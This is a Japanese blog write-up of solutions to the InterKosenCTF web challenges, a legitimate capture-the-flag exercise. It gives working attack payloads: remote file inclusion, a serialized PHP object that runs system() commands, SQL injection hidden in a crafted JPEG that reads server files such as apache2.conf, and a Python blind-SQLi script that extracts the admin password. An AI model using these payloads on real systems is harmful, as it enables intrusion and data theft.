こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

InterKosenCTF Writeup

高専生でなくとも参加可能」とのことで、高専生による高専生のためのInterKosenCTFに参加。

今回はnoranecoチームではなく、有志のdoranecoチームで参加した。
(PwnとCryptを解くメンバーが不在のため、ほぼ手つかず。)

全てのWeb問題がソースコードが公開されており、guess要素もなく良問揃いだった。
特にImage Uploaderは、試行錯誤でそこそこ苦労したが楽しんで解くことができた。

目次

[Web 100pts]Gimme Chocolate

問題

f:id:graneed:20190120185911p:plain

view sourceリンクからソースコードを確認可能。

Writeup

機能は以下2つ。

  • codeを保存する機能。codeはbranf*ck形式。
  • 保存したcodeをbranf*ckとして実行し、Give Me a Chocolate!!のメッセージが返却されたらフラグを表示する機能。

しかし、code保存機能は100バイトまでしか保存できない。以下ソースコード抜粋。

        $fp  = fopen($prefix.DIRECTORY_SEPARATOR.$_POST['name'], 'w');
        if ($fp === FALSE || fwrite($fp, $_POST['code'], 100) === FALSE) {
            $errs []= 'Unexpected error. Please contact the admin.';
            break;
        }
        fclose($fp);

Web上の適当なbrainf*ckの変換サービスを使用してGive Me a Chocolate!!を変換すると226バイト。
よって、code保存機能を使用しても目的のコードは作成できない。

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+.>+++++.+++++++++++++.-----------------.<<++.>++++++.>.<<.>>----.<<.>----------.>+++++++.+++++++.------------.++++++++++++.---.-----------.+++++++++++++++++++.---------------.<<+..

あらためてcodeを実行する機能のソースコードを確認すると、GETで得たファイルパスをそのままfile_get_contentsに渡している。Remote File Inclusionができそうだ。

        $code = file_get_contents($_GET['file']);
        if ($code === FALSE) {
            $errs []= 'Could not open the source file.';
            break;
        }
        $r = bf($code);
        if ($r === "Give Me a Chocolate!!") {
            $msgs []= include(dirname(__DIR__).DIRECTORY_SEPARATOR.'flag.php');
        }
    }

自サーバにgivemeというファイル名でbrainf*ck変換後コードを配備し、fileパラメータにURLをセットして実行する。

root@kali:~# curl http://web.kosenctf.com:8100/ -G -d "execute&file=http://myserver/giveme"
(snip)
                    <div class="ms-alert ms-green">KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}</div>
(snip)

KOSENCTF{CIO_CHOCOLATEx2_CHOx3_IIYONE}がフラグ。

[Web 200pts]Secure Session

問題

f:id:graneed:20190120203529p:plain

source codeリンクからソースコードをダウンロード可能。

Writeup

ポイントは以下の箇所。

/* Initialize */
if (isset($_POST['save'])) {
    // You can skip the bothering setup
    // by loading the saved handler.
    $handler = unserialize(base64_decode($_POST['save']));
} else {
    // Or, you can also setup the handler manually.
    $SECRET_KEY = 'sample-password'; // Keep it secret!
    $crypto = new SecureCrypto();
    $handler = new SecureSession($SECRET_KEY);
    $handler->set_crypto('encrypt', array($crypto, 'encrypt'));
    $handler->set_crypto('decrypt', array($crypto, 'decrypt'));
}

外部から、暗号化・復号する関数をシリアライズしたオブジェクト(BASE64文字列)で指定可能。
Insecure Deserializationで攻める。

まず、暗号化・復号関数にSecureCryptoクラスのインスタンスencrypt関数およびdecrypt関数をセットする代わりに、system関数をセットする。
また、暗号化・復号関数の第一引数に$SECRET_KEYが渡されるため、'sample-password'の代わりに、ls -lをセットする。
これで、ls -lが実行されるはずである。

ローカルで試す。

php > require_once(__DIR__ . '/modules/crypto.php');
php > require_once(__DIR__ . '/modules/session.php');
php > $SECRET_KEY = 'ls -l';
php > $crypto = new SecureCrypto();
php > $handler = new SecureSession($SECRET_KEY);
php > $handler->set_crypto('encrypt', system);
PHP Warning:  Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
php > $handler->set_crypto('decrypt', system);
PHP Warning:  Use of undefined constant system - assumed 'system' (this will throw an Error in a future version of PHP) in php shell code on line 1
php > session_set_save_handler($handler, true);
php > session_start();
php > print_r($handler->read_raw(session_id()));
php > session_write_close();
total 4
-rwxrwxrwx 1 root root 3287 Dec 31 09:51 index.php
drwxrwxrwx 1 root root    0 Jan 19 10:29 modules

成功した。この改ざんしたhandlerをBASE64エンコードする。

php > var_dump(base64_encode(serialize($handler)));
string(204) "TzoxMzoiU2VjdXJlU2Vzc2lvbiI6Mjp7czoyMToiAFNlY3VyZVNlc3Npb24AY3J5cHRvIjthOjI6e3M6NzoiZW5jcnlwdCI7czo2OiJzeXN0ZW0iO3M6NzoiZGVjcnlwdCI7czo2OiJzeXN0ZW0iO31zOjE4OiIAU2VjdXJlU2Vzc2lvbgBrZXkiO3M6NToibHMgLWwiO30="

サーバに投入してみる。

root@kali:~# curl http://web.kosenctf.com:8200/ -d "save=TzoxMzoiU2VjdXJlU2Vzc2lvbiI6Mjp7czoyMToiAFNlY3VyZVNlc3Npb24AY3J5cHRvIjthOjI6e3M6NzoiZW5jcnlwdCI7czo2OiJzeXN0ZW0iO3M6NzoiZGVjcnlwdCI7czo2OiJzeXN0ZW0iO31zOjE4OiIAU2VjdXJlU2Vzc2lvbgBrZXkiO3M6NToibHMgLWwiO30="
(snip)
        </div>
    </div>
    </body>

</html>
total 16
-r--r--r-- 1 1000 1000   61 Dec 31 00:53 hOI_the_flag_is_here
-r--r--r-- 1 1000 1000 3287 Dec 31 00:53 index.php
dr-xr-xr-x 2 1000 1000 4096 Dec 31 00:53 modules
-r--r--r-- 1 1000 1000 2294 Dec 31 00:53 ssm.tar.gz

成功した。hOI_the_flag_is_hereというファイルがあるようだ。

root@kali:~# curl http://web.kosenctf.com:8200/hOI_the_flag_is_here
KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}

KOSENCTF{Th3_p01nt_1s_N0t_h0w_s3cur3_1t_1s_But_h0w_t0_us3_1t}がフラグ。

[Web 250pts]Login

問題

f:id:graneed:20190120212452p:plain

出題サイトからソースコードをダウンロード可能。

Writeup

アカウントの登録とログインができる。

ソースコードを読むと、adminでログインするとフラグが得られるようだ。

ポイントは、以下のログイン処理。
SQL Injectionの脆弱性あり。

        // dont' think to try time based sql injection!! 
        usleep(random_int(0, 5000000));
        try {
                $rows = $pdo->query("select username, password from users where username='$username' and password='$password'", PDO::FETCH_ASSOC)->fetchAll();
                if (count($rows) == 1 && md5($rows[0]['password']) === md5($password)) {
                        $_SESSION['login'] = $username;
                }
        } catch (Exception $e) {
                //
        }

しかし、「入力したpassword文字列」と「DBから取得したpassword文字列」のmd5ハッシュ値の一致確認をしているため、union all select~ペイロードを作ってもNG。

せっかくアカウント登録機能があるため、事前にpayload文字列でアカウントを作成し、そのレコードをselectして取得して一致させる作戦。

以下の文字列をusernameにセットしてアカウントを作る。passwordは何でもよい。
hogehogehoge' union all select 'admin', username from users where username like 'hogehogehoge%

次に、usernameをadmin、passwordを上記と同じ文字列をセットしてログインする。

ログイン成功。 f:id:graneed:20190120214038p:plain

KOSENCTF{I_DONT_HAVE_ANY_APTITUDE_FOR_MAKING_A_WEB_CHALLENGE_SORRY}がフラグ。

[Web 350pts]Image Uploader

問題

f:id:graneed:20190120214245p:plain

出題サイトからソースコードをダウンロード可能。

Writeup

HomeとPostとControlの3画面構成。 右上のControlリンクは非活性だがHTMLソースを読むとリンク先がadmin.htmlであることを確認できる。

しかし、admin.htmlに飛んでもWAFエラーとなる。おそらくこの画面にフラグがある。

Post画面は、UsernameとDescriptionを入力してJPG画像をアップロードする機能を持つ。
アップロードした画像には自動でTagが付く。TagはJPG画像をBASE85でデコードした文字列をsha256でハッシュ計算した値。

Home画面は、Tag入力による画像検索機能と、画面上には表示されていないが、JPG画像をアップロードして一致するJPG画像を表示する検索機能を持つ。
後者の機能にSQL Injectionの脆弱性あり。以下、ソースコード抜粋。

     $binary = file_get_contents($_FILES['image']['tmp_name']);
        $s_image = base85::encode($binary);
        // Get the image
        $row = $pdo->query("SELECT * FROM images WHERE image='{$s_image}'")->fetch(PDO::FETCH_ASSOC);

base85でエンコードしたJPG画像ファイルが、SQL Injectionのpayloadになればよい。

よって、JPG画像にpayload文字列をbase85でデコードした文字列を埋め込めばよい。

JPG画像の判定はMIME Typeによる判定のみ。先頭2バイトが\xFF\xD8ならOK。

 $tmp_name = $_FILES['image']['tmp_name'];
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mimetype = finfo_file($finfo, $tmp_name);
    if ($mimetype != "image/jpeg") {
        header("Location: /");
        exit();
    }

BASE85のエンコード/デコードモジュールも配布されているため活用する。

まず、admin.htmlをload_fileで読み込むpayloadを持つ画像を作る。

php > require("base85.class.php");
php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,97,100,109,105,110,46,104,116,109,108))),(101),(102))###"));
php >  echo base85::encode(file_get_contents("test.jpg"));
s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,97,100,109,105,110,46,104,116,109,108))),(101),(102))#"o

以下に解説。

s4@をデコードすると、\xFF\xD8になる。

php > require("base85.class.php");
php > file_put_contents("test.jpg",base85::decode("s4@"));
php > $finfo = finfo_open(FILEINFO_MIME_TYPE);
php > echo finfo_file($finfo, "test.jpg");
image/jpeg

他、BASE85でデコード→エンコードしたときに、元の文字列に戻らない箇所を以下のとおり工夫している。

  • s4@の後ろのaaは、その後ろの'unionが元の文字列に戻らなかったための措置。
  • 最後の#を3連続にしているのは、1つだけだと#が消えるまたは変化するための措置。
  • load_fileの引数にそのままファイルパス文字列を与えず、CHAR関数を介しているのは、ファイルパス文字列に特定の文字が含まれると元に戻らないための措置。例えばvとか。なお、上記のCHAR(47,118,97,114,...は、/var/www/html/admin.htmlを意味する。
  • BASE85はスペースが使えないため、全体的にスペースを使用せずに()で代替している。

この画像で検索をかける。

root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1
(snip)
        &lt;h3&gt;Welcome, admin!&lt;/h3&gt;
        &lt;p&gt;The flag is KOSENCTF{&amp;lt;The password to bypass the WAF&amp;gt;}&lt;/p&gt;
        &lt;p&gt;If you haven't get the password yet, try harder and find the password.&lt;/p&gt;
(snip)

まだクリアでないようだ。WAFモジュールに何かありそうだ。

まずはapacheの設定ファイルである/etc/apache2/apache2.confを確認する。

php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,101,116,99,47,97,112,97,99,104,101,50,47,97,112,97,99,104,101,50,46,99,111,110,102))),(101),(102))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1
(snip)
LoadModule waf_module /usr/lib/apache2/modules/mod_waf.so
(snip)

/usr/lib/apache2/modules/mod_waf.soを確認する。バイナリファイルのため、TO_BASE64関数でBASE64エンコードする。

file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(TO_BASE64(load_file(CHAR(47,117,115,114,47,108,105,98,47,97,112,97,99,104,101,50,47,109,111,100,117,108,101,115,47,109,111,100,95,119,97,102,46,115,111)))),(100),(100))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1
(snip)
            <p>Uploaded by f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAkAAAAAAABAAAAAAAAAAIAhAAAAAAAAAAAAAEAAOAAH
AEAAGwAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdA4AAAAAAAB0DgAAAAAAAAAA
IAAAAAAAAQAAAAYAAABIHQAAAAAAAEgdIAAAAAAASB0gAAAAAAAgAwAAAAAAACgDAAAAAAAAAAAg
AAAAAAACAAAABgAAAGgdAAAAAAAAaB0gAAAAAABoHSAAAAAAAPABAAAAAAAA8AEAAAAAAAAIAAAA
AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA
AAAAUOV0ZAQAAACoDQAAAAAAAKgNAAAAAAAAqA0AAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAA
AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA
AFL
(snip)

BASE64文字列の箇所を抜き出してファイルを作成、BASE64デコードして元のmod_waf.soファイルを復元、stringsコマンドで有用なデータを探す。

root@kali:~/image_uploader# cat mod_waf.so.base64 | head
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkAkAAAAAAABAAAAAAAAAAIAhAAAAAAAAAAAAAEAAOAAH
AEAAGwAaAAEAAAAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdA4AAAAAAAB0DgAAAAAAAAAA
IAAAAAAAAQAAAAYAAABIHQAAAAAAAEgdIAAAAAAASB0gAAAAAAAgAwAAAAAAACgDAAAAAAAAAAAg
AAAAAAACAAAABgAAAGgdAAAAAAAAaB0gAAAAAABoHSAAAAAAAPABAAAAAAAA8AEAAAAAAAAIAAAA
AAAAAAQAAAAEAAAAyAEAAAAAAADIAQAAAAAAAMgBAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAA
AAAAUOV0ZAQAAACoDQAAAAAAAKgNAAAAAAAAqA0AAAAAAAAkAAAAAAAAACQAAAAAAAAABAAAAAAA
AABR5XRkBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAA
AFLldGQEAAAASB0AAAAAAABIHSAAAAAAAEgdIAAAAAAAuAIAAAAAAAC4AgAAAAAAAAEAAAAAAAAA
BAAAABQAAAADAAAAR05VAL4tUliBbi56OIgdMmfBZEF6qiCmAAAAAAMAAAATAAAAAQAAAAYAAACI
wCAFAAVACRMAAAAWAAAAGAAAAEJF1eyoRinzu+OSfNhxWBy5jfEO69PvDgAAAAAAAAAAAAAAAAAA

root@kali:~/image_uploader# base64 -d mod_waf.so.base64 > mod_waf.so

root@kali:~/image_uploader# strings mod_waf.so
(snip)
`[]A\A]A^
admin
password
/var/www/secret-pwd-file
<!-- mod_waf v0.1 -->
(snip)

/var/www/secret-pwd-fileが怪しい。
同じ方法でファイルを取得する。

php > file_put_contents("test.jpg",base85::decode("s4@aa'union(select(100),(load_file(CHAR(47,118,97,114,47,119,119,119,47,115,101,99,114,101,116,45,112,119,100,45,102,105,108,101))),(100),(100))###"));
root@kali:~/image_uploader# curl http://web.kosenctf.com:8400/ -F "image=@test.jpg" -F search=1
            <p>Uploaded by awkward_SQLi_2_bypass_WAF_module</p>

KOSENCTF{awkward_SQLi_2_bypass_WAF_module}がフラグ。

[Web 50pts]Login Reloaded

残念ながら解けなかった。
Blind SQL Injectionでパスワードを1文字ずつ特定するプログラムを作って流し、待ち時間にウッキウキで家事やら子どもの相手をしていた。
128文字のパスワードが得られたのを見てから、以下のコードの意図に気付き白目になった。

if (isset($_POST['name']) && isset($_POST['password']) && strlen($_POST['name']) < 128 && strlen($_POST['password']) < 128) {

※追記 Blind SQL Injectionのコードは以下の通り。

import requests
import string

URL = 'http://web.kosenctf.com:8500/login.php'
LETTERS = string.digits + 'abcdef'

target = ""

while True:
    flag = False
    for e in LETTERS:
        tmp = target + e
        req = requests.Request(
            'POST',
            URL,
            data={
                "name" : "' union all select 'a',CASE WHEN SUBSTR((select password from users where username='admin'),{},1)='{}' THEN 'a' ELSE 'b' END --".format(len(tmp),e),
                "password" : "a"
                },
            )
        prepared = req.prepare()
        s = requests.Session()
        r = s.send(prepared, allow_redirects = True)
        if "HELLO" in r.text:
            target = tmp
            print(target)
            flag = True
            break

    if flag: continue
    exit()

実行して待つと以下のパスワードが得られる。

9072864df2f0c01ff241ac5771a90f64f10247fb3544a18fc5675bfee225fee853d4a099b7fb23e8b08079b490b80f16a0a18e86589694ebc6907d5dfe70cf6b